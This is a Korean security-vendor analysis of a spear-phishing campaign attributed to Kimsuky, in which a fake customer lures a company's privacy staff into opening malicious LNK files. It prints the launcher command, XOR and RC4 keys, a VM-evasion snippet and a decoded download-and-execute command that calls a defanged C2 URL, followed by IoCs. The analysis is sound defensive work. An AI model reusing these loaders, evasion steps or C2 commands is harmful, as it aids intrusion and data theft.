
이스트시큐리티 대응센터(ESRC)에서 운영 중인 APT TDS(Threat Detection System)를 통해, "개인정보 유출 의심 확인 요청"이라는 민감한 소재로 위장한 스피어 피싱 공격이 포착되었습니다.

이번 공격은 불특정 다수에게 동일한 메일을 무작위로 살포하는 일반적인 유포형 피싱과 달리, 특정 기업의 실무 담당자를 표적으로 삼아 여러 차례 메일을 주고받으며 신뢰를 쌓은 뒤 악성 파일을 실행하도록 유도한 정교한 표적 공격이라는 점에서 주의가 필요합니다. 특히 공격자는 첫 시도에서 악성 링크가 보안 솔루션에 의해 차단되자, 이를 "오탐지"라 둘러대며 같은 악성코드를 암호가 걸린 첨부파일 형태로 재전송하는 치밀함까지 보였습니다.
ESRC는 수집된 악성 샘플 3종을 분석한 결과, 해당 공격이 북한 연계 해킹 조직인 Kimsuky의 전형적인 공격 패턴과 매우 높은 유사성을 보이는 것으로 확인했습니다.
이번 공격은 고객을 사칭한 공격자가 국내 기업의 정보보호 담당자에게 "내 개인정보가 유출된 것 같으니 확인해 달라"는 문의 메일을 보내면서 시작되었습니다. 공격자는 정상적인 고객 문의 과정으로 보이도록 자연스러운 대화를 이어가다가, 확인용 자료라는 명목으로 악성 파일을 전달했습니다.
ESRC는 해당 캠페인에서 수집된 악성 샘플 3종을 함께 분석하였으며, 3개 샘플 모두 동일한 내부 구조와 미끼 문서(고객현황 위장)를 공유하는 것으로 확인되었습니다.
분석 결과 3개 샘플은 초기 침투 방식은 동일하되, 감염 이후 명령제어(C2) 단계에서 두 가지 서로 다른 공격 프레임워크로 나뉘는 특징을 보였습니다.
| 구분 | 샘플 1 | 샘플 2 | 샘플 3 |
| 위장 파일명 | 2603vvip고객현황.lnk | 고객현황_202605.lnk | 고객현황_202604.lnk |
| 미끼 문서 | XLSX | XLSX |
PDF
|
| C2 방식 | Dropbox API (Type A) | Dropbox API (Type A) | HTTPS 직접 통신 (Type B) |
| 지속성 | 예약된 작업 (16분 주기) | 예약된 작업 (16분 주기) | 시작프로그램 VBS (14분 주기) |
| 캠페인 식별자 | Pan05A25 | Pd05a28p | Pan |
[표 1] 악성 샘플 3종 분류
이번 공격에 사용된 피싱 메일은 단발성 메일이 아니라, 몇차례 메일을 주고 받은 형태였으며, 공격자는 A사 쇼핑몰을 이용하는 일반 고객으로 위장한 뒤, 다음과 같은 시나리오로 담당자의 경계심을 단계적으로 허물었습니다.
| 순서 | 발신 → 수신 | 주요 내용 |
| 1 | 공격자(고객 사칭) → A사 | “당사자와 지인의 개인정보가 유출된 정황이 의심된다"며 사내 등록 정보 확인을 공식 요청 |
| 2 | A사 담당자 → 공격자 | 유출 의심 개인정보 목록을 공유해 달라고 회신 |
| 3 | 공격자 → A사 담당자 | "비교/확인용 자료"라며 '고객현황_202604' 문서 다운로드 링크 전달 |
| 4 | A사 담당자 → 공격자 | 링크에서 악성 파일이 탐지되어 확인이 어렵다고 통보, 유선 연락 요청 |
| 5 | 공격자 → A사 담당자 | "자체 보안팀 검사 결과 이상 없으며 오탐지로 보인다 "고 해명하며, 동일 파일을 암호 설정된 ZIP 첨부파일로 재전송 |
[표 2] 피싱 메일 공격 시나리오
이 공격 시나리오에서 공격자는 보안 담당자를 표적으로 삼았음에도, '개인정보 유출 확인'이라는 담당자의 업무와 직접 관련된 명분을 내세워 의심을 피했습니다. 또한 1차 악성 링크가 차단된 뒤에는 이를 오탐이라고 해명하며, 암호가 설정된 압축 파일로 전달 방식을 바꿔 공격을 이어갔습니다.
압축 파일 내부에는 정상 문서로 위장한 악성 LNK 파일이 존재하며, 사용자가 이를 일반 문서로 오인해 실행하면 감염이 시작됩니다.

3개 샘플은 LNK 파일 실행부터 페이로드를 드롭하는 단계까지 동일한 구조를 사용하며, 이후 명령제어 단계에서 두 갈래로 나눠집니다.
1) 1단계 - 악성 LNK 실행
사용자가 LNK 파일을 실행하면 다음과 같은 명령이 백그라운드에서 동작합니다.
%windir%\SysWOW64\cmd.exe /k for /f "tokens=*" %a in (
'dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe /s /b /od'
) do call %a "<은닉된 PowerShell 코드>"
이 명령에는 탐지를 피하기 위한 여러 기법이 사용되었습니다.
먼저 64비트 대신 SysWOW64 경로의 32비트 PowerShell을 강제로 호출하여 일부 보안 솔루션의 감시를 우회합니다.
또한 PowerShell의 위치를 코드에 직접 적어 두지 않고 for /f 구문으로 실행 시점에 검색해 찾아내는 방식을 사용해, 파일을 미리 분석하는 정적 분석을 회피합니다. 아울러 LNK 파일은 자기 자신의 크기를 기준으로 내부에 숨겨 둔 데이터의 위치를 계산해 추출합니다.
샘플 1 (2603vvip고객현황.lnk)
| 오프셋 | 크기 | 인코딩 | 내용 |
| 0x12AE | 109,804 bytes | 평문 | 미끼 XLSX |
| 0x1BF9A | 7,008 bytes | XOR 0xBF | 페이로드 ZIP (joyment98.tar) |
샘플 2 (고객현황_20260605.lnk)
| 오프셋 | 크기 | 인코딩 | 내용 |
| 0x12AA | 109,970 bytes | 평문 | 미끼 XLSX |
| 0x1BF9A | 7,696 bytes | XOR 0xBF | 페이로드 ZIP (joyment98.tar) |
샘플 3 (고객현황_202604.lnk)
| 오프셋 | 크기 | 인코딩 | 내용 |
| 0x12BE | 251,866 bytes | 평문 | 미끼 PDF |
| 0x3EA98 | 398 bytes | 평문 | Anlab Auto.vbs (시작프로그램) |
| 0x3EC26 | 188 bytes | XOR 0xC7 | sp80poa (치환 암호 명령) |
| 0x3ECE2 | 883 bytes | XOR 0xC7 | po1ker.bat (디코더 스크립트) |
2) 2단계 - 미끼 문서 표시와 페이로드 드롭
LNK 파일이 실행되면 공격자는 사용자의 의심을 피하기 위해 가장 먼저 미끼 문서를 화면에 띄웁니다.
샘플 1·2는 '고객현황' 형태의 정상 엑셀(XLSX) 문서를, 샘플 3은 정상 PDF 문서를 보여 주어 사용자가 정상 문서파일을 열었다고 착각하게 만듭니다.


미끼 문서가 표시되는 사이 백그라운드에서는 다음 작업이 순차적으로 진행됩니다.
우선 LNK 내부에 XOR 방식으로 숨겨 둔 실제 악성 페이로드를 복원하고, 작업 공간으로 쓸 폴더를 '숨김+시스템' 속성으로 생성해 사용자 눈에 띄지 않게 감춥니다. 이어서 재부팅 후에도 악성코드가 계속 동작하도록 지속성을 등록한 뒤, 최초 감염 경로였던 원본 LNK 파일을 삭제해 흔적을 지웁니다.
| 프레임워크 | 은닉 디렉토리 | 속성 | 생성 파일 | 용도 |
| Type A (샘플 1, 2) | C:\ProgramData\vaccine\ | 숨김+시스템 | user-config.js (샘플1) WCF35Setup.js (샘플 2) |
로더 스크립트 저장 |
| Type A (샘플 1, 2) | C:\ProgramData\NuGetx\ | 숨김+시스템 | Web12.config (샘플 1) aspnet.config (샘플 2) |
암호화된 페이로드 저장 |
| Type B (샘플 3) | C:\PerfLogv\ | 숨김+시스템 | po1ker.bat sp80poa |
명령 파일 및 실행 스크립트 저장 |
[표 3] 각 샘플 별 생성되는 파일 정보
샘플 1과 샘플 2는 클라우드 저장소인 Dropbox를 명령제어 서버로 악용하는 유형입니다.
복원된 압축 파일에서는 자바스크립트(JavaScript) 로더와 암호화된 페이로드가 함께 풀려나옵니다.
로더는 암호화된 페이로드를 읽어 들여 Base64 디코딩과 RC4 복호화(키: Secure20@^)를 거친 뒤 최종 PowerShell 스크립트로 복원해 실행합니다.
동시에 약 16분 간격으로 반복 동작하는 예약된 작업을 등록하는데, 이때 작업명을 'Intel(R) Ethernet2 Connection'처럼 정상 네트워크 드라이버 이름으로 위장하여 관리자가 보더라도 정상 작업으로 오인하게 만듭니다.
복원된 최종 PowerShell은 Dropbox API에 접속해 감염 PC의 외부 IP, 운영체제 버전, 실행 중인 프로세스 목록, 사용자·도메인 정보 등을 수집한 뒤 암호화하여 공격자 저장소로 전송합니다.
또한 공격자가 Dropbox에 올려 둔 추가 명령 파일을 내려받아 실행하고, 처리한 파일에는 _buy 표식을 붙여 중복 실행을 방지합니다.
공격자는 별도의 서버 대신 Dropbox 같은 정상 클라우드 서비스를 C2로 활용하여 정상 서비스 뒤에 숨어 정보를 빼내고 명령을 주고받음으로써, 보안 장비의 차단과 탐지를 효과적으로 우회했습니다.
특히 샘플 2의 경우는 Type A의 업그레이드된 버전으로 분석을 방해하는 세 가지 기능이 추가되었습니다.
$m = (Get-WmiObject Win32_ComputerSystem).Manufacturer
$b = (Get-WmiObject Win32_BIOS).Manufacturer
$p = (Get-Process).ProcessName
$n = (Get-WmiObject Win32_NetworkAdapter).Name
$isVM = (($m+$b) -match 'VMware|VirtualBox|VBox') -and
(($p+$n) -match 'VMware|VBox|Sandboxie')
if ($isVM) { Rubcode } → aspnet.config 삭제 후 종료
샘플 3의 경우는 클라우드 대신 공격자가 직접 운영하는 서버와 HTTPS로 통신하는 유형입니다.
이 유형은 예약된 작업 대신 시작프로그램 폴더에 VBS 스크립트를 등록해 지속성을 확보합니다. 이때 파일명을 'Anlab Auto.vbs'로 생성하여 국내 보안 소프트웨어의 자동 업데이트처럼 위장했습니다.
등록된 VBS는 부팅 때마다 po1ker.bat라는 배치 파일을 숨겨진 창에서 실행합니다.
po1ker.bat는 sp80poa라는 파일에 암호화되어 저장된 명령을 해독하는 디코더 역할을 합니다. 여기서 사용된 암호는 일반적인 방식이 아니라, 공격자가 직접 정의한 79자 알파벳을 5칸씩 밀어 치환하는 커스텀 시저 암호(Caesar Cipher)입니다.
💡 참고하세요
치환 암호(시저 암호)란?
시저 암호는 알파벳을 정해진 칸수만큼 일정하게 밀어 다른 글자로 바꾸는 가장 오래된 암호 기법입니다. 예를 들어 세 칸씩 밀면 A는 D, B는 E가 되는 식입니다. 공격자는 이런 단순한 변환으로 명령어 문자열을 알아보기 어렵게 만들어, 보안 장비가 'toopel.shop' 같은 악성 주소를 곧바로 탐지하지 못하도록 은닉했습니다.
해독된 명령은 다음과 같습니다.
| 단계 | 해독된 명령 | 동작 |
| 다운로드 | Invoke-WebRequest 'hxxps://toopel[.]shop/Pan/letgo.php?jang=god' -OutFile 'C:\PerfLogv\Tpk04l.bat' |
C2 서버에서 2차 명령 파일 내려받기
|
| 실행 | Start-Process C:\PerfLogv\Tpk04l.bat | 내려받은 2차 명령 파일 실행 |
po1ker.bat는 이 두 명령을 실행한 뒤 840초(14분)를 대기하고 다시 처음부터 반복하는 무한 루프 구조로 동작합니다.
분석 당시에는 C2에서 2차로 내려받는 파일이 확인되지 않았으나, 이 파일은 공격자가 C2에 올려 두는 내용에 따라 달라지므로, 감염 PC에서 실행할 악성 행위를 언제든 교체해 공격을 이어갈 수 있습니다.
3개 샘플 분석결과 명령제어 방식이 서로 다름에도 다수의 공통점을 존재하며, 이는 동일한 공격 그룹이 하나의 캠페인 안에서 상황에 따라 도구를 바꿔 가며 운용하고 있음을 시사합니다. 이번 공격에서 확인된 주요 특징은 다음과 같습니다.
LNK 기반 다단계 침투, 정상 서비스 악용, 표적의 업무 맥락을 파고드는 사회공학은 북한 연계 조직인 김수키의 전형적인 수법과 일치합니다. 공격 대상이 국내 기업의 정보보호 담당자였고 미끼가 모두 한국어 업무 문서였다는 점까지 종합하면, 이번 사례는 국내 조직을 겨냥한 표적형 정보 탈취 공격으로 판단됩니다.
이번 공격은 친숙한 업무 메일의 흐름을 그대로 모방하고, 보안 담당자의 관심사인 '개인정보 유출'을 미끼로 삼았다는 점에서 누구나 속을 수 있는 정교한 공격입니다.
피해를 예방하기 위해서는 발신자가 외부인이거나 평소와 다른 메일 주소라면, 대화가 자연스럽게 이어지더라도 첨부파일과 다운로드 링크를 함부로 실행하지 않는 것이 안전합니다.
특히 보안 솔루션이 한 번 악성으로 탐지한 파일을 상대방이 "오탐이니 다시 열어 보라"며 암호 압축 파일로 재전송하는 경우는 매우 위험한 신호이므로, 절대 압축을 풀거나 실행해서는 안 됩니다.
또한 평소 윈도우 탐색기의 "알려진 파일 형식의 파일 확장명 숨기기" 옵션을 해제해 두고, 파일 실행 전 확장자를 확인하는 습관이 필요합니다. 확장자가 LNK(바로 가기)와 같은 의심스러운 파일은 실행하지 않도록 각별히 주의하시기 바랍니다.
IoC (Indicators of Compromise)
| Indicator | Type | Description | Detection Name |
|---|---|---|---|
| C8CE5C23D4644AA089455C479E52DAE3 | MD5 | 샘플 1 - 2603vvip고객현황.lnk | Trojan.Agent.LNK.Gen |
| 4A0E6C5932CEE062102E2D19E92C85A4 | MD5 | 샘플 1 - user-config.js (로더) | Trojan.Script.Agent |
| 9BAED08DF363098F0107315430A2FDBB | MD5 | 샘플 1 - Web12.config (암호화된 페이로드) | Trojan.BIN.Encoded |
| 4C3FB7A00EDE6A719450C63A1B6E7E1D | MD5 | 샘플 2 - 고객현황_202605.lnk | Trojan.Agent.LNK.Gen |
| 768C718A8A020BA59E7FB55BCB5EBF1F | MD5 | 샘플 2 - WCF35Setup.js (로더) | Trojan.Script.Agent |
| 1BA542F1A2E152259B15906275B72E6B | MD5 | 샘플 2 - aspnet.config (암호화된 페이로드) | Trojan.BIN.Encoded |
| C91C604148FE191C877B686B3888581B | MD5 | 샘플 3 - 고객현황_202604.lnk | Trojan.Agent.LNK.Gen |
| D6B31850E1DB191A6F9056DD5C4B55DD | MD5 | 샘플 3 - Anlab Auto.vbs (지속성) | Trojan.VBS.Agent.gen |
| 6C35EB0E29DE1D24824DD3A79436E1BC | MD5 | 샘플 3 - po1ker.bat (디코더) | Trojan.Script.Agent |
| AB5C0CC1F5D49E67B243D6145FD93CF8 | MD5 | 샘플 3 - sp80poa (암호화된 명령) | Trojan.Script.Agent |
| hxxps://toopel[.]shop/Pan/letgo.php?jang=god | URL | 샘플 3 - C2 |
| 디지털 서명 검증을 우회하는 MS Word 변조 악성코드 주의 (CVE-2013-3900) (0) | 2026.06.01 |
|---|---|
| 오픈소스 공급망을 넘어 로컬 AI 인프라를 겨냥한 위협 분석 (0) | 2026.05.26 |
| 스틸러·RAT·랜섬웨어를 결합한 복합 위협 악성코드 분석 - MoscowTeam_Steal (0) | 2026.05.20 |
| TikTok 동영상 다운로더로 위장한 악성 크롬 확장 프로그램 주의 (0) | 2026.05.14 |
| 국세청 및 금융기관 사칭, PhaaS를 이용한 기업 타겟형 피싱메일 주의 (0) | 2026.05.13 |
댓글 영역